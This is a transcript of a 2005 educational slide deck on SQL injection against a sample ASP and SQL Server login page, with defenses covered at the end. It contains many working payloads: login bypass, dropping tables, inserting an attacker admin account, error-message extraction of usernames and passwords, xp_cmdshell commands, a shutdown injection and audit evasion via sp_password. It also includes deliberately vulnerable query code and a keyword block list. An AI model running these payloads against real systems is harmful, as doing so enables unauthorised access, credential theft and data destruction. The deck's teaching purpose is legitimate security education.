بسم الله الرحمن الرحیم. 2 sql injection october 2005
TRANSCRIPT
الرحیم الرحمن الله الرحیم بسم الرحمن الله بسم
2
SQL InjectionSQL Injection
October 2005
3
Table Of ContentTable Of Content
• Introduction
• Obtaining Information Using Errors
• Leveraging Further Access
• Advanced SQL Injection
• Defenses
• References
INTODUCTION 4
INTRODUCTIONINTRODUCTION
• SQL is textual
• The unit of executions is “Query”, returns “result Set”
• SQL statements: DDL, DCL, DML
INTODUCTION 5
What is a SQL Injection?What is a SQL Injection?
• SQL Injection occurs when an attacker is able to insert a series of SQL statements into a ‘query’ by manipulating data input into an application.
INTODUCTION 6
ExampleExample
• A typical SQL statement:select id, forename, surname from authors where forename=‘John’ and surname=‘Smith’
• An Injection:Forename: Jo’hnSurname: Smith
Then the query becomes:select id, forename, surname from authors where forename=‘Jo’hn’ and surname=‘Smith’
Result:Server: Msg 170, Level 15, State 1, Line 1Line1: Incorrect syntax near ‘hn’.
INTODUCTION 7
Example (Cont.)Example (Cont.)
So due to, Forename: Jo’; Drop table authors --
Surename:
…the authors table would be deleted!
INTODUCTION 8
A Simple Cure?!A Simple Cure?!
Cure Method• Removing single-quotes• “Escaping” single-quotes
Why not?• Input various types
– select id, forename where id=1234
• Using different delimiters• “Escaping” is not always the cure
INTODUCTION 9
HTML Login PageHTML Login Page<HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD>
<BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% Page 4width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR> </TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM> </FONT> </BODY> </HTML>
View Result
INTODUCTION 10
Process_Login.asp PageProcess_Login.asp Page<%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ) { var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = ‘ “ + username + “ ' and password = ‘ " + password + “ ‘ ";
trace( "query: " + sql ); rso.open( sql, cn ); if (rso.EOF) { rso.close(); %>
Some possible injections are
Username: ‘; drop table users --
Password:
Or
Username: admin ‘ --
Or
Username: ‘ or 1=1 --
Or
‘ union select 1, ‘Fictional_User’, ‘SomePassword’, 1 --
INTRODUCTION 11
Preprocessor Notes!Preprocessor Notes!
1. “;” means end of the statement in SQL.
2. “--” means comment in SQL.
“drop table users” means delete the users table completely from the database.
“select rank from users where username=‘Hossein’ ” Retrieves the rank of a user, named “Hossein”
So respectly, entering “‘; drop table users --" as the username:
select rank from users where username=‘ ‘‘; drop table users --
12
Obtaining Information Using Error Messages
Obtaining Information Using Error Messages
Error Message Technique 13
Technique BackgroundTechnique Background
• First discovered by David Litchfield
• Later, Litchfield wrote a paper on it– Web Application Disassembly with ODBC Error Messages, David
Litchfield
http://www.nextgenss.com/papers/webappdis.doc
• Subsequent authors have referenced it
Error Message Technique 14
Table StructureTable Structurecreate table users( id int,
username varchar(255), password varchar(255), privs int )
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 1, 'guest', 'guest', 0x0000 ) insert into users values( 2, 'chris', 'password', 0x00ff ) insert into users values( 3, 'fred', 'sesame', 0x00ff )
?
Error Message Technique 15
How To AttackHow To Attack
• The attacker must know the structure
• ASP returns the error messages from application by default
• Using the information from error messages step by step
Error Message Technique 16
Table Name, Column NameTable Name, Column Name
• Step 1– Username: ‘ having 1=1 --
Microsoft OLE DB Provider for ODBC Drivers error
'80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
is invalid in the select list because it is not
contained in an aggregate function and there is no
GROUP BY clause.
/process_login.asp, line 35
'users.id'
• Table Name: “users”• First Column Name: “id”
Error Message Technique 17
Table Name, Column NameTable Name, Column Name
• Step 2– Username: ‘ group by user.id having 1=1 --
Microsoft OLE DB Provider for ODBC Drivers error
'80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
is invalid in the select list because it is
not contained in an aggregate function and there is no
GROUP BY clause.
/process_login.asp, line 35
‘users.username’
• Second Column Name: “username”
Error Message Technique 18
Table Name, Column NameTable Name, Column Name
• Finally in Step 4– Username: ‘ group by users.id,
users.username, users.password, users.privs having 1=1 --
• Which produces no errors and functionally equivalent to:
– Select * from users where username= ‘’
• Knowledge up to now– The query is referencing only ‘users’ table
– Table columns are ‘id, username, password, privs’, in this order
Error Message Technique 19
Finding TypesFinding Types
• The key is “Type Conversion” error message:Username: ‘ union select sum(username) from users --
• SQL server apply “sum” clause before checking the number of fields to be equal in “union” clause
• Error message would be:Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a data type as an argument. /process_login.asp, line 35 varchar
• So the type of “username” is:
Error Message Technique 20
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35
Finding TypesFinding Types
• For numeric types we have error for not matching number of fields in row sets:
Username: ' union select sum(id) from users--
must have an equal number
Error Message Technique 21
Reward!Reward!
• These knowledge allows a well - formed 'insert' query, like this:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Error Message Technique 22
We Won’t STOP!We Won’t STOP!
• Information about the environmentselect * from master..sysmessages
• “Type Conversion” also helps here!Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
nvarchar value
to a column of data type int.
/process_login.asp, line 35
'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) '
• So the version of SQL Server is:
Error Message Technique 23
Collecting User NamesCollecting User Names
• Selecting the minimum username that is greater than 'a', and attempts to convert it to an integer
Username: ' union select min(username),1,1,1 from users where username > 'a'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35
Username: ' union select min(username),1,1,1 from users where username > 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int. /process_login.asp, line 35
Error Message Technique 24
Gathering PasswordsGathering Passwords
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!‘ to a column of data type int. /process_login.asp, line 35
25
Leveraging Further AccessLeveraging Further Access
Leveraging Further Access 26
Further Control Over NetFurther Control Over Net
• Using the xp_cmdshell • Using the xp_regread • Use other extended stored procedures • Run queries on linked servers
Leveraging Further Access 27
xp_cmdshellxp_cmdshell
• exec master..xp_cmdshell 'dir'
• exec master..xp_cmdshell 'net1 user'
Leveraging Further Access 28
xp_regreadxp_regread
• xp_regaddmultistring • xp_regdeletekey • xp_regdeletevalue • xp_regenumkeys • xp_regenumvalues • xp_regread • xp_regremovemultistring • xp_regwrite
Leveraging Further Access 29
Other Extended Stored Procedures Other Extended Stored Procedures
xp_servicecontrol start, stop, pause and 'continue‘ services
xp_availablemedia reveals the available drives on the machine.
xp_dirtree allows a directory tree to be obtained
xp_enumdsn enumerates ODBC data sources on the server
xp_loginconfig reveals information about the security mode of the server.
xp_makecab allows the user to create a compressed archive of files on the server (or any files the server can access)
xp_ntsec_enumdomains enumerates domains that the server can access
xp_terminate_process terminates a process, given its PID
30
Again Further!Again Further!
• Linked Servers
• Creating custom extended stored procedures
• Use the 'bulk insert' statement
• Use bcp
• Using the sp_OACreate, sp_OAMethod and sp_OAGetProperty to create ActiveX
31
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injection 32
Get Rid Of Quotes!Get Rid Of Quotes!
• Using VBScript “replace” function to “escape”
function escape( input )
input = replace (input, “ ‘ “, “ ‘’ “)
escape = input
end function
• Removing “;” also helps a lot!
• Input may be numeral, using no delimiters
• Using ‘char’ function: insert into users values (666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff )
insert into users values ( 667, 123, 123, 0xffff )
Advanced SQL Injection 33
Second-Order SQL InjectionSecond-Order SQL Injection
• If the data in DB is reused by the application
Username: admin ‘--
Password: password
( Correctly escaped )insert into users values( 123, ‘admin’’--’, ‘password’, 0xffff)
Advanced SQL Injection 34
Second-Order SQL InjectionSecond-Order SQL Injection
• i.e. application allows changing password
userName = escape(Request.form (“username”));
oldPassword = escape (Request.form (“oldPassword”));
newPassword = escape (Request.form (“newPassword”));
var rso = “select * from users where username=‘ “ + username+ “ ‘ and password=‘ “ + oldpassword +” ‘ “;
rso.open (sql, cn);
if (rso.EOF)
{ …
• The query to set new password:sql = “update users set password= ‘ “+ newPassword +” ‘ where username= ‘ “+ rso (“username”) + “ ‘ “
update users set password= ‘password ‘ where username= ‘admin’--’
Advanced SQL Injection 35
Length LimitLength Limit
• Sometimes Length of input is restricted– (Shutting down with only 12 characters)
Username: ‘;shutdown--
• Appling length limit after “escaping”– username: aaaaaaaaaaaaaaa’
password: ’;shutdown--
select * from users where username=‘aaaaaaaaaaaaaaa’ ’ and password =‘ ‘ ‘; shutdown--
Advanced SQL Injection 36
Audit EvasionAudit Evasion
• Using “sp_password” stored procedure– --’sp_password’ was found in the text of this event
-- The text has been replaced with this comment for security reasons
Username: admin’--sp_password
37
DefensesDefenses
Defensed 38
Way of DefenseWay of Defense
• Input Validation
• SQL server lockdown
Defensed 39
Input ValidationInput Validation
• Different Approaches1. Massage data
2. Reject bad inputs
3. Accept only good inputs
• Combine your weapons– Hyphenated surnames: Quentin Bassington-Bassington
– Combined attacks: un’ion se’lect @@version-’-
Defensed 40
Escaping ExampleEscaping Example
function escape( input )
input = replace(input, “ ‘ “, “ ‘ ‘ “)
escape = input
end function
Advanced SQL Injection 41
Reject or Change?Reject or Change?
• Rejecting “Bad Input” is better unless “Bad Characters” are necessary:– O’Clock
• “Escaping” include ALL data that goes into a SQL query string
Defensed 42
Reject Bad Input ExampleReject Bad Input Example
function validate_string( input ) known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )
validate_string = true for i = lbound( known_bad ) to ubound( known_bad )
if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then
validate_string = false exit function
end if next
end function
Defensed 43
Allow Only Good Input ExampleAllow Only Good Input Examplefunction validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
validatepassword = true for i = 1 to len( input )
c = mid( input, i, 1 ) if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false exit function
end if next
end function
44
SQL Server LockdownSQL Server Lockdown
45
SQL Lockdown IssuesSQL Lockdown Issues
1. Determine methods of connection
2. Verify which accounts exist
3. Verify which objects exist
4. Verify which accounts can access which objects
5. Verify the patch level of the server
6. Verify what will be logged, and what will be done with logs
A Lockdown Checklist at:
www.sqlsecurity.com
46
ReferencesReferences
47
ReferencesReferences• Web Application Disassembly with ODBC Err Messages, David Litchfield
http://www.nextgenss.com/papers/webappdis.doc
• SQL Security Checklisthttp://www.sqlsecurity.com/checklist.asp
• SQL Server 2000 Extended Stored Procedure Vulnerabilityhttp://www.atstake.com/research/advisories/2000/al20100-2.txt
• Microsoft SQL Server Extended Stored Procedure Vulnerabilityhttp://www.atstake.com/research/advisories/2000/al20100-1.txt
• Multiple Buffer Format String Vulnerabilities in SQL Serverhttp://www.microsoft.com/technet/security/bulletin/MS01-060.asphttp://www.atstake.com/research/advisories/2001/al22001-1.txt
48
49